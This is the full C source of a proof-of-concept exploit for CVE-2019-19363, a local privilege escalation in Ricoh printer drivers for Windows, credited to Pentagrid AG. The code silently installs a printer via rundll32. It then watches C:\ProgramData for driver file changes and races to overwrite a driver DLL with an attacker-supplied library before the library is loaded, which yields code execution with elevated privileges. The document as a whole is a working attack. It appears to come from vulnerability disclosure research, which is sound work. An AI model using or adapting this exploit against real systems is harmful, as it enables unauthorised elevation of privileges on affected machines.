/* This proof of concept code monitors file changes on Ricoh's driver DLL files and overwrites a DLL file before the library is loaded (CVE-2019-19363). Written by Pentagrid AG, 2019. Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/ Credits: Alexander Pudwill This proof of concept code is based on the ReadDirectoryChangesW API call to get notified about changes on files and directories and reuses parts from the example from https://www.experts-exchange.com/questions/22507220/ReadDirectoryChangesW-FWATCH-MSDN-sample-not-working.html */ #include #include #include #include #define MAX_BUFFER 4096 int change_counter = 0; const WCHAR * const BaseDirName = L"C:\\ProgramData"; const WCHAR * TargetDllFullFilePath, * TargetDLLRelFilePath, * MaliciousLibraryFile, * PrinterName; DWORD dwNotifyFilter = FILE_NOTIFY_CHANGE_LAST_WRITE | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_ACCESS | FILE_NOTIFY_CHANGE_CREATION; typedef struct _DIRECTORY_INFO { HANDLE hDir; TCHAR lpszDirName[MAX_PATH]; CHAR lpBuffer[MAX_BUFFER]; DWORD dwBufLength; OVERLAPPED Overlapped; } DIRECTORY_INFO, *PDIRECTORY_INFO, *LPDIRECTORY_INFO; DIRECTORY_INFO DirInfo; void WINAPI HandleDirectoryChange(DWORD dwCompletionPort) { DWORD numBytes, cbOffset; LPDIRECTORY_INFO di; LPOVERLAPPED lpOverlapped; PFILE_NOTIFY_INFORMATION fni; WCHAR FileName[MAX_PATH]; do { GetQueuedCompletionStatus((HANDLE)dwCompletionPort, &numBytes, (LPDWORD)&di, &lpOverlapped, INFINITE); if (di) { fni = (PFILE_NOTIFY_INFORMATION)di->lpBuffer; do { cbOffset = fni->NextEntryOffset; // get filename size_t num_elem = fni->FileNameLength / sizeof(WCHAR); if (num_elem >= sizeof(FileName) / sizeof(WCHAR)) num_elem = 0; wcsncpy_s(FileName, sizeof(FileName)/sizeof(WCHAR), fni->FileName, num_elem); FileName[num_elem] = '\0'; wprintf(L"+ Event for %s [%d]\n", FileName, change_counter); if (fni->Action == FILE_ACTION_MODIFIED) { if (!wcscmp(FileName, TargetDLLRelFilePath)) { if (change_counter > 0) change_counter--; if (change_counter == 0) { change_counter--; if (CopyFile(MaliciousLibraryFile, TargetDllFullFilePath, FALSE)) wprintf(L"+ File %s copied to %s.\n", MaliciousLibraryFile, TargetDllFullFilePath); else { wchar_t buf[256]; FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), buf, (sizeof(buf) / sizeof(wchar_t)), NULL); wprintf(L"+ Failed to copy file %s to %s: %s\n", MaliciousLibraryFile, TargetDllFullFilePath, buf); } exit(1); } // end of trigger part } } // eo action mod fni = (PFILE_NOTIFY_INFORMATION)((LPBYTE)fni + cbOffset); } while (cbOffset); // Reissue the watch command ReadDirectoryChangesW(di->hDir, di->lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &di->dwBufLength, &di->Overlapped, NULL); } } while (di); } void WINAPI InstallPrinter() { WCHAR cmd_buf[1000]; swprintf(cmd_buf, sizeof(cmd_buf), L"/c rundll32 printui.dll, PrintUIEntry /if /b \"Printer\" /r lpt1: /m \"%s\"", PrinterName); wprintf(L"+ Adding printer: %s\n", cmd_buf); unsigned long ret = (unsigned long) ShellExecuteW(0, L"open", L"cmd", cmd_buf, NULL, SW_HIDE); if(ret <= 32) // That seems to be the way to handle ShellExecuteW's ret value. wprintf(L"+ Failed launching command. Return value is %d\n", ret); } void WINAPI WatchDirectories(HANDLE hCompPort) { DWORD tid; HANDLE hThread; ReadDirectoryChangesW(DirInfo.hDir, DirInfo.lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &DirInfo.dwBufLength, &DirInfo.Overlapped, NULL); // Create a thread to sit on the directory changes hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleDirectoryChange, hCompPort, 0, &tid); // Just loop and wait for the user to quit InstallPrinter(); while (_getch() != 'q'); // The user has quit - clean up PostQueuedCompletionStatus(hCompPort, 0, 0, NULL); // Wait for the Directory thread to finish before exiting WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } int wmain(int argc, WCHAR *argv[]) { HANDLE hCompPort = NULL; // Handle To a Completion Port if (argc == 6) { PrinterName = argv[1]; TargetDllFullFilePath = argv[2]; TargetDLLRelFilePath = argv[3]; MaliciousLibraryFile = argv[4]; change_counter = _wtoi(argv[5]); } else { wprintf(L"+ Usage: %s \n", argv[0]); return 0; } wprintf(L"+ Monitoring directory %s\n", BaseDirName); // Get a handle to the directory DirInfo.hDir = CreateFile(BaseDirName, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL); if (DirInfo.hDir == INVALID_HANDLE_VALUE) { wprintf(L"Unable to open directory %s. GLE=%ld. Terminating...\n", BaseDirName, GetLastError()); return 0; } lstrcpy(DirInfo.lpszDirName, BaseDirName); if (HANDLE hFile = CreateFile(TargetDllFullFilePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) { wprintf(L"+ File %s created\n", TargetDllFullFilePath); CloseHandle(hFile); } else wprintf(L"+ File %s could not be created\n", TargetDllFullFilePath); if ((hCompPort = CreateIoCompletionPort(DirInfo.hDir, hCompPort, (ULONG_PTR)&DirInfo, 0)) == NULL) { wprintf(L"+ CreateIoCompletionPort() failed.\n"); return 0; } wprintf(L"+ Press to exit\n"); // Start watching WatchDirectories(hCompPort); CloseHandle(DirInfo.hDir); CloseHandle(hCompPort); return 1; }